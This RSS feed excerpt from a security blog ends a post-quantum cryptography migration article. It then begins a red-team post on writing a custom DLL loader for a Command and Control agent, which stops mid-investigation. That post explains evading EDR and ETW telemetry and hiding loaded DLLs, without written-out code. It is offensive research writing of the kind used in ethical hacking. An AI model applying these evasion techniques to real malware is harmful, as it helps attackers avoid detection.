<p style="text-align: justify;">Furthermore, national cybersecurity bodies such as <a href="https://cyber.gouv.fr/publications/avis-de-lanssi-sur-la-migration-vers-la-cryptographie-post-quantique-0">ANSSI</a> (France), <a href="https://cyber.gouv.fr/sites/default/files/document/Quantum_Key_Distribution_Position_Paper.pdf">BSI (Germany), NLNCSA (Netherlands), SFA (Sweden),</a> <a href="https://www.ncsc.gov.uk/whitepaper/preparing-for-quantum-safe-cryptography">NCSC (UK),</a> <a href="https://www.nsa.gov/Cybersecurity/Quantum-Key-Distribution-QKD-and-Quantum-Cryptography-QC/">NSA (USA)</a>, etc. all agree that CQP is the best way to protect against the quantum threat, and that the priority for businesses should be to migrate to CQP systems.</p>
<p style="text-align: justify;"><strong> </strong></p>
<h2 style="text-align: justify;">When and how can this technology be implemented?</h2>
<p> </p>
<p style="text-align: justify;">The predictions of research bodies on the advent of the quantum threat are still fairly disparate, but all agree that quantum computers capable of executing the algorithms responsible for the future obsolescence of current cryptographic standards, known as <strong>Cryptographically Relevant Quantum Computer</strong> (CRQC), will render RSA-2048 obsolete, in particular, within the <a href="https://www.splunk.com/en_us/blog/learn/crqcs-cryptographically-relevant-quantum-computers.html">next 15 years</a>. It is difficult to predict exactly when the quantum computer will be ready and will achieve <strong>sufficient performance</strong> for <strong>concrete</strong> use cases but cross-referencing the recommendations of organisations such as the <a href="https://media.defense.gov/2022/Sep/07/2003071836/-1/-1/1/CSI_CNSA_2.0_FAQ_.PDF">NSA</a> with the predictions of <a href="https://globalriskinstitute.org/publication/2023-quantum-threat-timeline-report/">experts</a> on the subject means that we can estimate the emergence of the first <strong>CRQCs</strong> between <strong>2033</strong> and <strong>2037</strong>.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Harvest now, decrypt later</h3>
<p style="text-align: justify;">However, we do not have 10 years to arm ourselves against this threat. Data in transit today remains <strong>exposed</strong> to ‘harvest now, decrypt later’ attacks. These are attacks based on the <strong>interception</strong> and long-term<strong> storage</strong> of <strong>encrypted data</strong>, pending technological breakthroughs in decryption that will make it <strong>readable</strong> in the future.</p>
<p style="text-align: justify;">The data targeted by this type of attack is mainly data in <strong>transit</strong>, as it is during <strong>transport</strong> that protocols such as <strong>TLS</strong> use <strong>asymmetric</strong> key pairs. It is at this point that the data is ‘<strong>quantum vulnerable</strong>’ and therefore interesting to intercept and store to decrypt it later. Data <strong>at rest</strong>, on the other hand, is generally encrypted using <strong>symmetrical</strong> algorithms, and requires to be exfiltrated to be captured, so it is not the target of these attacks.</p>
<p style="text-align: justify;">The main risk of these attacks remains the violation of long-term data <strong>confidentiality</strong>. Depending on the sector, particularly <strong>financial</strong> or <strong>industrial</strong>, data can remain sensitive for <strong>long periods</strong>, so access to this information can have multiple serious consequences. It is reasonable to assume that attackers could <strong>currently</strong> recover a considerable quantity of encrypted data to decrypt it later. It is therefore imperative to start migrating to cryptographic systems that are resistant to quantum algorithms <strong>today</strong>.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Recommendations from organisations on preparation</h3>
<p style="text-align: justify;"><a href="https://media.defense.gov/2023/Aug/21/2003284212/-1/-1/0/CSI-QUANTUM-READINESS.PDF"><strong>CISA</strong>, the <strong>NSA</strong> and the American <strong>NIST</strong></a>, to name but a few, are urging companies to get ready now by drawing up a <strong>quantum roadmap</strong>, led by a <strong>dedicated project team</strong>, whose aim would be to <strong>plan</strong> and <strong>supervise</strong> the organisation&#8217;s <strong>migration</strong> to <strong>PQC</strong>.</p>
<p style="text-align: justify;">The project <strong>framework</strong> will need to focus on 3 main areas:</p>
<ol style="text-align: justify;">
<li><strong>Cryptographic inventory</strong>: the aim is to understand the organisation&#8217;s exposure to vulnerable cryptographic mechanisms. This involves identifying the technologies used in systems, network protocols, applications and programming libraries.</li>
<li><strong>Risk analysis</strong>: this aims to prioritise the assets and processes to be secured first. The aim is to assess the <strong>criticality</strong> of the data being protected, and also to <strong>anticipate the length of time it will need to be protected</strong>. This analysis is based on the cryptographic inventory carried out upstream and enables efforts to be targeted where the impact of a quantum attack would be most critical.</li>
<li><strong>Supplier responsibility:</strong> the transition to post-quantum cryptography also involves working closely with technology partners. Companies need to ensure that the solutions they use are crypto-agile: can current products be <strong>upgraded</strong> to systems that are resistant to the quantum threat, or will they need to be <strong>replaced</strong> to avoid obsolescence?</li>
</ol>
<p style="text-align: justify;">The <strong>migration strategy</strong> we recommend at <strong>Wavestone</strong> takes the main steps outlined by <strong>CISA</strong>, <strong>NSA</strong> and <strong>NIST</strong>, and adapts them to the operational realities of each company:</p>
<ol style="text-align: justify;">
<li><strong> Strategic phase:</strong>
<ul>
<li><strong>Understanding and raising awareness</strong>: Firstly, this involves training and informing all those involved (management, business teams, technical teams) about the impact of the quantum threat, the issues involved in post-quantum cryptography, and the main regulatory guidelines.</li>
<li><strong>Risk assessment and initial inventory</strong>: Mapping of cryptographic uses (protocols, libraries, applications, etc.) and identification of sensitive data that must remain confidential over a long period. It is also at this stage that the company&#8217;s maturity is assessed and the most critical projects prioritised.</li>
<li><strong>Framing the programme</strong>: On the basis of the risks identified, the overall roadmap (objectives, budget, organisation) is defined. A <strong>dedicated team</strong> &#8211; or ‘centre of excellence’ &#8211; is set up to steer the transition, coordinate the various projects and define the success indicators.</li>
</ul>
</li>
</ol>
<ol style="text-align: justify;" start="2">
<li><strong> Quick wins</strong>
<ul>
<li>Before embarking on a more extensive transformation phase, we recommend the <strong>rapid launch</strong> of low-investment <strong>initiatives</strong>, such as including <strong>post-quantum clauses in contracts</strong> (with suppliers and partners). The aim is to obtain tangible returns, raise stakeholder awareness and create a positive momentum around the project.</li>
</ul>
</li>
</ol>
<ol style="text-align: justify;" start="3">
<li><strong> Transition programme</strong></li>
</ol>
<ul>
<li style="list-style-type: none;">
<ul style="text-align: justify;">
<li><strong>Test of an initial use case:</strong> Selection of a representative use case to deploy the first post-quantum cryptographic algorithms or mechanisms under real conditions.</li>
<li><strong>Detailed inventory (second iteration):</strong> We then need to refine the mapping of cryptographic components (PKI, key management, network protocols, encryption libraries, etc.) in order to plan the migration precisely.</li>
<li><strong>Modernising ‘digital trust’</strong>: This involves <strong>updating infrastructures</strong> (PKI, certificate management, key rotation policies, etc.) and implementing <strong>procedures</strong> to accommodate new algorithms.</li>
<li><strong>Migration and monitoring</strong>: Progressive deployment of post-quantum algorithms on critical systems, while maintaining service continuity. This phase is accompanied by controls, performance tests and security checks. Eventually, the entire IS is covered, guaranteeing continuity and regulatory compliance.</li>
</ul>
</li>
</ul>
<p style="text-align: justify;">This roadmap, which is both pragmatic and in line with the recommendations of the relevant bodies, <strong>guarantees</strong> a controlled transition to post-quantum cryptography.</p>
<p style="text-align: justify;"><strong> </strong></p>
<h3 style="text-align: justify;">Hybridization mentioned in Europe as an important step in the transition</h3>
<p style="text-align: justify;">In a joint publication with its European counterparts <a href="https://cyber.gouv.fr/sites/default/files/document/Quantum_Key_Distribution_Position_Paper.pdf"><strong>BSI, NLNCSA, SNCS</strong>A and <strong>SFA</strong></a>, <a href="https://cyber.gouv.fr/sites/default/files/document/Quantum_Key_Distribution_Position_Paper.pdf"><strong>ANSSI</strong></a> also recommends that preparations for this transition should begin as soon as possible. Although the new PQC standards, including algorithms, implementation instructions and their use, were published by the NIST in August 2024, these bodies are not encouraging the <strong>immediate</strong> integration of these algorithms into companies&#8217; cryptographic systems. The ANSSI has even announced that it ‘<a href="https://cyber.gouv.fr/publications/avis-de-lanssi-sur-la-migration-vers-la-cryptographie-post-quantique-0">does not approve any direct replacement in the short or medium term’</a>. The reason for this is ‘a lack of cryptanalytical hindsight on several security aspects’; despite its completed standardisation process, PQC is not yet considered mature enough to guarantee security on its own:</p>
<p style="text-align: justify;">&#8211; Several algorithms that were finalists (and therefore considered promising) in the NIST standardisation process have been the subject of <strong>classic</strong> attacks that have been successful. The <strong>SIKE</strong> algorithm was defeated in 10 minutes, and <strong>Rainbow</strong> in a weekend.</p>
<p style="text-align: justify;">&#8211; Dimensioning, integration of algorithms into communication protocols and the design of secure implementations are other aspects on which progress needs to be made, according to the ANSSI.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Consequently, unlike <strong>NIST</strong>, <strong>ANSSI</strong> and <strong>BSI</strong>, among others, recommend that organisations adopt <strong>hybrid systems</strong>. This concept consists of ‘combining <strong>post-quantum asymmetric</strong> algorithms with well-known and well-studied <strong>pre-quantum asymmetric</strong> cryptography’ (ANSSI). In this way, we can benefit from the effectiveness of current standards against <strong>classical</strong> attacks, and from the predicted resistance of PQC against <strong>quantum</strong> attacks.</p>
<p style="text-align: justify;">Hybridization is possible for <strong>key encapsulation</strong> mechanisms and <strong>digital signatures</strong>. Each classical operation is replaced either by:</p>
<p style="text-align: justify;">&#8211; <strong>successive</strong> execution</p>
<p style="text-align: justify;">&#8211; <strong>parallel</strong> execution of the 2 algorithms, pre-quantum and quantum.</p>
<p style="text-align: justify;">The second option can be implemented to reduce the loss of system performance. These hybrid schemes also require the players involved to support both types of algorithms.</p>
<p style="text-align: justify;">This is a scheme where ‘the additional performance cost of a hybrid scheme remains <strong>low</strong> compared with the cost of the post-quantum scheme’. <strong>ANSSI</strong> believes that ‘this is a <strong>reasonable</strong> price to pay to guarantee pre-quantum security that is at least equivalent to that provided by current standardised pre-quantum algorithms’.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">On the other side of the Atlantic, we are much more nuanced than our European counterparts on this issue. Although the benefits of hybridisation are recognised by the UK and US cybersecurity authorities, the <a href="https://www.ncsc.gov.uk/whitepaper/next-steps-preparing-for-post-quantum-cryptography#section_5"><strong>NCSC</strong></a> and <a href="https://nvlpubs.nist.gov/nistpubs/ir/2024/NIST.IR.8547.ipd.pdf"><strong>NIST</strong></a> insist on the <strong>temporary</strong> nature of this solution and do <strong>not impose</strong> hybridisation as a <strong>mandatory step</strong> before migrating completely to PQC. The <a href="https://media.defense.gov/2022/Sep/07/2003071836/-1/-1/1/CSI_CNSA_2.0_FAQ_.PDF"><strong>NSA</strong></a> explicitly states that it has confidence in PQC standards and does <strong>not require</strong> the use of hybridisation models in national security systems. In summary, the decision to use these models must be taken taking into account:</p>
<p style="text-align: justify;">&#8211; technical implementation constraints</p>
<p style="text-align: justify;">&#8211; the increased complexity (two algorithms instead of one),</p>
<p style="text-align: justify;">&#8211; the additional cost,</p>
<p style="text-align: justify;">&#8211; the need to transition a <strong>second</strong> time in the future to a total PQC system, which can be a complex exercise in <strong>crypto-agility</strong> &#8211; i.e. the ability to modify one&#8217;s cryptographic infrastructure <strong>rapidly</strong> and without major upheaval in response to changing threats &#8211; for some companies.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Regulatory aspects</h2>
<p> </p>
<p style="text-align: justify;">There are currently no <strong>European</strong> regulations setting out explicit requirements for post-quantum cryptography. However, some of the various texts on data encryption (NIS2, DORA, HDS, etc.) explicitly require <strong>state-of-the-art</strong> encryption to be applied.  In particular, DORA requires the constant updating of the cryptographic means used in relation to developments in cryptanalysis techniques. It is therefore possible to consider this as a first step in guiding organisations towards the concept of <strong>crypto-agility</strong>.</p>
<p style="text-align: justify;">Despite the current lack of requirements, ANSSI is <a href="https://cyber.gouv.fr/publications/avis-de-lanssi-sur-la-migration-vers-la-cryptographie-post-quantique-0">planning a post-quantum transition plan in 3 phases</a>:</p>
<ol style="text-align: justify;">
<li><strong> Phase 1 (in progress)</strong></li>
</ol>
<p style="text-align: justify;">Effective post-quantum security through hybridisation remains optional and is considered by the agency to be defence in depth. The security approvals issued by ANSSI remain unchanged and only guarantee pre-quantum security.</p>
<ol style="text-align: justify;" start="2">
<li><strong> Phase 2 (after 2025)</strong></li>
</ol>
<p style="text-align: justify;">Quantum resistance becomes a security property. Post-quantum security criteria for PQC algorithms will have been defined by ANSSI and will be taken into account when issuing security visas.</p>
<ol style="text-align: justify;" start="3">
<li><strong> Phase 3 (after 2030)</strong></li>
</ol>
<p style="text-align: justify;">It is estimated that the post-quantum security assurance level will be equivalent to the current pre-quantum level. Hybridization will therefore become optional; security visas may be issued for companies using post-quantum schemes <strong>without hybridization</strong>.</p>
<p style="text-align: justify;">In addition, depending on the context, ANSSI may decide to grant security visas only for long-term <strong>post-quantum</strong> security.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-25580" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/03/Image1ENG-1.png" alt="" width="309" height="236" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/03/Image1ENG-1.png 309w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/03/Image1ENG-1-250x191.png 250w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/03/Image1ENG-1-51x39.png 51w" sizes="auto, (max-width: 309px) 100vw, 309px" /></p>
<p style="text-align: justify;">In the USA, <a href="https://nvlpubs.nist.gov/nistpubs/ir/2024/NIST.IR.8547.ipd.pdf">NIST&#8217;s post-quantum transition plan</a> is not definitive, but the obsolescence of <strong>RSA</strong> and <strong>ECC</strong> is already projected for 2030, followed by a total implementation ban in 2035; hence the announced target &#8211; aligned with the <a href="https://media.defense.gov/2022/Sep/07/2003071836/-1/-1/1/CSI_CNSA_2.0_FAQ_.PDF">NSA</a> &#8211; for completion of the migration to PQC in all federal systems in the same year. Depending on the requirements of different sectors, it may be necessary to make the transition more quickly, depending on the associated levels of risk.</p>
<p style="text-align: justify;">Although 2035 seems a long way off, the full migration to post-quantum cryptography is a <strong>long process</strong>, and the initial phases of <strong>cryptographic inventory</strong>, <strong>data classification</strong> and <strong>risk analysis</strong>, in particular, require considerable time. It is therefore essential to start today to plan for a successful transition.</p>
<p style="text-align: justify;"><strong> </strong></p>
<p style="text-align: justify;">The advent of quantum computers is therefore no longer a distant hypothesis, but a certainty that will redefine the foundations of cybersecurity. While the precise timing (<strong>2033-2037</strong>) remains uncertain, the regulatory pressure from cybersecurity institutions is becoming <strong>clearer</strong>, and the impact on data confidentiality and integrity is <strong>unavoidable</strong>. Every day that goes by without adaptation increases the vulnerability of companies to future attacks.</p>
<p style="text-align: justify;">And yet, solutions already exist: <strong>post-quantum cryptography</strong>, although not yet fully mature &#8211; especially when it comes to implementation &#8211; offers a promising response to this threat. Standardised and supported by the major international bodies, it represents the first step towards sustainable security in the quantum era.</p>
<p style="text-align: justify;">However, adopting this technology is not simply a matter of technical deployment. It is a strategic transition, an exercise in crypto-agility, and an opportunity for businesses to assert their resilience in the face of technological upheaval.</p>
<p style="text-align: justify;">The question is no longer whether your organisation will be ready when the first quantum computer capable of breaking RSA-2048 sees the light of day. The question is whether it will have anticipated this future, by arming itself now with the tools and plans needed to turn this constraint into a competitive advantage. The future of security starts today.</p>
<p> </p>
<p><a href="https://www.riskinsight-wavestone.com/en/contact-us/">Contact us</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/03/quantum-computing-and-post-quantum-cryptography-how-to-deal-with-these-issues/">Quantum computing and post-quantum cryptography: what strategy should companies adopt to deal with these issues?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/03/quantum-computing-and-post-quantum-cryptography-how-to-deal-with-these-issues/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>LoadLibrary madness: dynamically load WinHTTP.dll</title>
		<link>https://www.riskinsight-wavestone.com/en/2024/10/loadlibrary-madness-dynamically-load-winhttp-dll/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2024/10/loadlibrary-madness-dynamically-load-winhttp-dll/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Wed, 30 Oct 2024 15:52:37 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[C2]]></category>
		<category><![CDATA[Command and Control]]></category>
		<category><![CDATA[Dll]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[WinHTTP]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=24427</guid>

					<description><![CDATA[<p>For the last few weeks, I have been developing a full custom Command and Control (C2). This C2 uses several Windows DLL for network communication and specially the WINHTTP.DLL one to handle HTTP requests used for the HTTP and HTTPS...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/10/loadlibrary-madness-dynamically-load-winhttp-dll/">LoadLibrary madness: dynamically load WinHTTP.dll</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>For the last few weeks, I have been developing a full custom <span style="color: #451dc7;"><em>Command and Control</em></span> (<em><span style="color: #451dc7;">C2</span></em>). This <em><span style="color: #451dc7;">C2</span> </em>uses several <span style="color: #451dc7;"><em>Windows DLL</em></span> for network communication and specially the <span style="color: #451dc7;"><em>WINHTTP.DLL</em></span> one to handle <span style="color: #451dc7;"><em>HTTP</em> </span>requests used for the <em><span style="color: #451dc7;">HTTP</span> </em>and <em><span style="color: #451dc7;">HTTPS</span> </em>listener.</p>
<p>As everyone knows, when developing a <em><span style="color: #451dc7;">C2</span> </em>and the corresponding agent, <span style="color: #451dc7;"><em>OPSEC</em></span> must be the priority, so the agent code must rise as few events (<span style="color: #451dc7;"><em>ETW</em></span>) as possible.</p>
<p>The most common way to increase <span style="color: #451dc7;"><em>OPSEC</em> </span>when using external <span style="color: #451dc7;"><em>DLL</em> </span>is to perform dynamic loading to avoid getting the loaded <span style="color: #451dc7;"><em>DLL</em> </span>name in the source code. This can be done using the <span style="color: #451dc7;"><em>LoadLibrary Win32 API</em></span>.</p>
<p>This <span style="color: #451dc7;"><em>API</em> </span>allows a program to load a specific <span style="color: #451dc7;"><em>DLL</em></span> from the disk. However, the drawback is that <em><span style="color: #451dc7;">LoadLibrary</span> </em>raises several events and telemetry an <span style="color: #451dc7;"><em>EDR</em> </span>can analyze to detect the malicious <span style="color: #451dc7;"><em>C2</em> </span>agent.</p>
<p>In order to avoid this kind of event, I chose to implement a custom <span style="color: #451dc7;"><em>LoadLibrary</em> </span>that will not raise such events.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;"><span style="color: #451dc7;">State of the art &#8211; LoadLibrary</span></h2>
<p>I will not go too much deeper in the implementation details, as this has already been documented several times in <em>blogposts</em><a href="#_ftn1" name="_ftnref1">[1]</a> or <em>books</em> (<em><span style="color: #451dc7;">Windows Internals Part 1</span></em>).</p>
<p>The goal here is to create a function that takes as an input a <span style="color: #451dc7;"><em>DLL</em> </span>path and loads the <em><span style="color: #451dc7;">DLL</span> </em>in memory. Doing it manually has a lot of advantages:</p>
<ul>
<li>Limits <span style="color: #451dc7;"><em>ETW</em> </span>and <span style="color: #451dc7;"><em>Microsoft</em> </span>telemetry</li>
<li>More choices in the way sections are allocated and written.</li>
<li>Possibility to hide malicious loaded <em><span style="color: #451dc7;">DLL</span> </em>when not used.</li>
</ul>
<p>However, there are a lot of edge cases that could make the custom loader unreliable as it was mentioned in the <span style="color: #451dc7;"><em>SpecterOps</em> </span>blogpost <em>PerfectLoader<span style="color: #250f6b;"><a href="#_ftn2" name="_ftnref2">[2]</a></span></em>:</p>
<p><code>The quality of these reimplementations may be judged by comparing the feature set of these custom loaders against what the OS’s native loader supports. As such, the native OS loader may be considered a “perfect loader,” but it should not be considered the only perfect loader.</code><br /><br /></p>
<h3 style="text-align: justify;"><span style="color: #451dc7;">Basic implementation</span></h3>
<p style="text-align: justify;">The basic implementation consists in just copying the <em><span style="color: #451dc7;">DLL</span> </em>image in memory, performing relocation, importing imported modules and resolving the <em><span style="color: #451dc7;">IAT</span> </em>entries.<br />The different steps can be found in the <em><span style="color: #451dc7;">Windows Internal Part 1</span></em> book (<em><span style="color: #451dc7;">page 178</span></em>) and a more described implementation can be found here<a href="#_ftn3" name="_ftnref3">[3]</a>.<br />This is the most common way to load a <em><span style="color: #451dc7;">DLL</span></em>. Once the <em><span style="color: #451dc7;">DLL</span> </em>is loaded as-is in memory, it can be used for basic usages. However, any use of standard <em><span style="color: #451dc7;">Win32API</span></em> against this <em><span style="color: #451dc7;">DLL</span> </em>such as <em><span style="color: #451dc7;">GetModuleHandle</span> </em>or <span style="color: #451dc7;"><em>GetProcAddress</em> </span>will fail.<br />This implementation does not implement any additional feature provided by the <em><span style="color: #451dc7;">Windows DLL</span></em> loader: it just performs a textbook <em><span style="color: #451dc7;">DLL</span> </em>loading.</p>
<p> </p>
<h3 style="text-align: justify;"><span style="color: #451dc7;">Fixing compatibility with Microsoft WIN32API</span></h3>
<p>The previous implementation has the merit of working and it helped me out more times I can count. However, it is not reliable; the most important edge case being the <em><span style="color: #451dc7;">DLL</span> </em>cannot be searched using <span style="color: #451dc7;"><em>GetModuleHandle</em> </span>or <span style="color: #451dc7;"><em>LoadLibrary</em></span>.</p>
<p>Therefore, if the others <span style="color: #451dc7;"><em>DLL</em> </span>need access to the loaded <span style="color: #451dc7;"><em>DLL</em></span>, they will not find it with the standard <span style="color: #451dc7;"><em>Win32API</em> </span>and will load it again using <span style="color: #451dc7;"><em>LoadLibrary</em> </span>leading to a nice <span style="color: #451dc7;"><em>ETW</em> </span>event: all we wanted to avoid in the first place.</p>
<p><em>Batsec</em><span style="color: #250f6b;"><a href="#_ftn4" name="_ftnref4">[4]</a></span> wrote an <em>article</em><a href="#_ftn5" name="_ftnref5">[5]</a> on how the <span style="color: #451dc7;"><em>DLL</em></span> can be loaded in memory and still be compatible with the <span style="color: #451dc7;"><em>Microsoft</em> <em>Win32 API</em></span> (at least <span style="color: #451dc7;"><em>GetProcAddress</em></span>, <span style="color: #451dc7;"><em>LoadLibrary</em> </span>and <span style="color: #451dc7;"><em>GetModuleHandle</em></span>) without raising a bunch of events.</p>
<p>His research shows that when a <span style="color: #451dc7;"><em>DLL</em> </span>is loaded by the standard <span style="color: #451dc7;"><em>Windows DLL</em></span> loader, it does not just load the image in memory and the loader will perform at least two additional actions:</p>
<ul>
<li>Add the <span style="color: #451dc7;"><em>DLL</em> </span>in the <span style="color: #451dc7;"><em>PEB</em> </span>linked list that contains all the <span style="color: #451dc7;"><em>DLL</em> </span>loaded by a process.</li>
<li>Create a hash identifying the <span style="color: #451dc7;"><em>DLL</em> </span>and adding it to another structure called <em><span style="color: #451dc7;">LdrpHashTable</span></em></li>
</ul>
<p>During the loading process, the <span style="color: #451dc7;"><em>DLL</em> </span>loader, calls the <span style="color: #451dc7;"><em>LdrpInsertDataTableEntry</em> </span>function. This function creates a hash identifying the <span style="color: #451dc7;"><em>DLL</em> </span>and adds it to the <span style="color: #451dc7;"><em>LdrpHashTable</em> </span>structure as shown in the following figure:</p>
<p style="text-align: center;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24350" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/01-Use-of-LdrpHashTable.png" alt="" width="471" height="292" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/01-Use-of-LdrpHashTable.png 471w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/01-Use-of-LdrpHashTable-308x191.png 308w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/01-Use-of-LdrpHashTable-63x39.png 63w" sizes="auto, (max-width: 471px) 100vw, 471px" /></p>
<p style="text-align: center;"><em>Figure 1: use of LdrpHashTable during DLL loading</em></p>
<p>This mechanism has been implemented by <span style="color: #451dc7;"><em>Microsoft</em> </span>to ease and speedup <span style="color: #451dc7;"><em>DLL</em> </span>search through a read and black binary tree. This structure allows the search of a <span style="color: #451dc7;"><em>DLL</em> </span>in <span style="color: #451dc7;"><em>O(log(n))</em></span> instead of <span style="color: #451dc7;"><em>O(n)</em></span> with the previous linked list. This mechanism will not be explained here but can be seen in the <span style="color: #451dc7;"><em>DarkLoadLibrary</em> </span>project in the <span style="color: #451dc7;"><em>FindModuleBaseAddressIndex</em> </span>function.</p>
<p>Adding the <span style="color: #451dc7;"><em>DLL</em> </span>in the <span style="color: #451dc7;"><em>PEB</em> </span>linked list <strong>AND</strong> in the <span style="color: #451dc7;"><em>LdrpHashTable</em> </span>can be seen as fully registering the <span style="color: #451dc7;"><em>DLL</em> </span>and makes it known to the process.</p>
<p>Once this link has been established, the <span style="color: #451dc7;"><em>DLL</em> </span>can be searched, freed, or copied through the <span style="color: #451dc7;"><em>Win32API</em></span>.</p>
<p> </p>
<h3 style="text-align: justify;"><span style="color: #451dc7;">Problems with this implementation</span></h3>
<p>When I saw this implementation, I thought that all my problems were solved and started reimplementing it on my side to understand and customize the process.</p>
<p>For a moment it worked well. All the <em><span style="color: #451dc7;">DLL</span> </em>I loaded with worked out of the box and no specific event regarding the loading of an additional <em><span style="color: #451dc7;">DLL</span> </em>were raised by the agent.</p>
<p>The troubles begin when I tried to dynamically load a specific <em><span style="color: #451dc7;">DLL</span></em>: <span style="color: #451dc7;"><em>WinHTTP.dll.</em></span></p>
<p>The <span style="color: #451dc7;"><em>DLL</em> </span>is successfully loaded, and the majority of functions worked well, but one function did not want to work: <span style="color: #451dc7;"><em>WinHTTPOpen</em></span>.</p>
<p>This function is used to initialize the environment and prepare the structures that will be used by the other network <span style="color: #451dc7;"><em>API</em> </span>used to perform an <span style="color: #451dc7;"><em>HTTP</em> </span>connection. So, without this function, it was not possible to perform any <span style="color: #451dc7;"><em>HTTP</em> </span>communication through the <span style="color: #451dc7;"><em>WinHTTP API</em></span>.</p>
<p>When I called the <span style="color: #451dc7;"><em>WinHTTPOpen</em></span> function, the call failed with the error code <span style="color: #451dc7;"><em>126</em></span>. This error code is related to a missing <span style="color: #451dc7;"><em>DLL</em> </span>which does not make any sense as all the <span style="color: #451dc7;"><em>DLL</em> </span>were successfully loaded.</p>
<p> </p>
<h2 style="text-align: justify;"><span style="color: #451dc7;">Dive into WinHTTP.DLL madness</span></h2>
<h3 style="text-align: justify;"><span style="color: #451dc7;">Macroscopic investigation</span></h3>
<p>The error code hinted a problem with a <span style="color: #451dc7;"><em>DLL</em> </span>that has not been loaded, so my first reflex was to monitor the process using <span style="color: #451dc7;"><em>Procmon</em></span>, looking for an imported <span style="color: #451dc7;"><em>DLL</em> </span>that could have failed to be loaded.</p>
<p>However, even when comparing the <em><span style="color: #451dc7;">DLL</span> </em>loaded with the standard <span style="color: #451dc7;"><em>LoadLibrary</em> </span>and the ones loaded through the custom loader, no differences could explain the error code <span style="color: #451dc7;"><em>126</em></span>.</p>
<p> </p>
<h3 style="text-align: justify;"><span style="color: #451dc7;">Microscopic investigation</span></h3>
<p>For a moment I let this problem aside and continue the development of the agent, but it still bothered me, and I had no idea how I could debug it. Until one day, I took my sanity away, and decided to just decompile the <em><span style="color: #451dc7;">WinHTTP.DLL</span></em> and debug it step by step until I saw the error code <em><span style="color: #451dc7;">126</span> </em>popping in one of the registers.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">Finding the initial problem</span></h4>
<p>With the step by step debug, I quickly found that the problem occurred in the <em><span style="color: #451dc7;">INTERNET_SESSION_HANDLE_OBJECT::SetProxySettings</span></em> function in the <em><span style="color: #451dc7;">WINHTTP.DLL</span></em> file.</p>
<p>Following the call stack leads me to the following functions:</p>
<ul>
<li><em><span style="color: #451dc7;">INTERNET_HANDLE_BASE::SetProxySettingsWithInterfaceIndex</span></em></li>
<li><em><span style="color: #451dc7;">WxReferenceDll</span></em></li>
<li><em><span style="color: #451dc7;">TakeSingleDllRef</span></em></li>
</ul>
<p>In the <span style="color: #451dc7;"><em>TakeSingleDllRef</em> </span>I found the following piece of code:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24352" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/02-Code-TakeSingleDllRef.png" alt="" width="433" height="233" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/02-Code-TakeSingleDllRef.png 433w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/02-Code-TakeSingleDllRef-355x191.png 355w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/02-Code-TakeSingleDllRef-71x39.png 71w" sizes="auto, (max-width: 433px) 100vw, 433px" /></p>
<p style="text-align: center;"><em>Figure 2: TakeSingleDllRef code</em></p>
<p>The <span style="color: #451dc7;"><em>126</em> </span>error code I got when running the <span style="color: #451dc7;"><em>WinHTTPOpen</em> </span>function is generated by the <span style="color: #451dc7;"><em>GetModuleHandleExA</em> </span>function.</p>
<p>This function is usually used to retrieve the base address of an already loaded <span style="color: #451dc7;"><em>DLL</em> </span>by its <span style="color: #451dc7;"><em>DLL</em> </span>name. However, here, two unusual parameters are given to this API:</p>
<ul>
<li><span style="color: #451dc7;"><em>dwFlags</em></span>: <span style="color: #451dc7;"><em>4</em> </span>instead of <span style="color: #451dc7;"><em>2</em></span></li>
<li><span style="color: #451dc7;"><em>dllName</em></span>: the address of the current function instead of the name of the <span style="color: #451dc7;"><em>DLL</em> </span>to search for.</li>
</ul>
<p>Looking at the <span style="color: #451dc7;"><em>Microsoft</em> </span>documentation shows that <em><span style="color: #451dc7;">dwFlags 4</span></em> is named <span style="color: #451dc7;"><em>GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS</em> </span>and thus explains why an address is given instead of a <span style="color: #451dc7;"><em>DLL</em> </span>name.</p>
<p>Indeed, when this flag is passed to the <span style="color: #451dc7;"><em>GetModuleHandleExA</em></span>, the function will not search for the <span style="color: #451dc7;"><em>DLL</em> </span>base address by its name but will find the <span style="color: #451dc7;"><em>DLL</em> </span>that contains the given function.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">Narrow down the problem</span></h4>
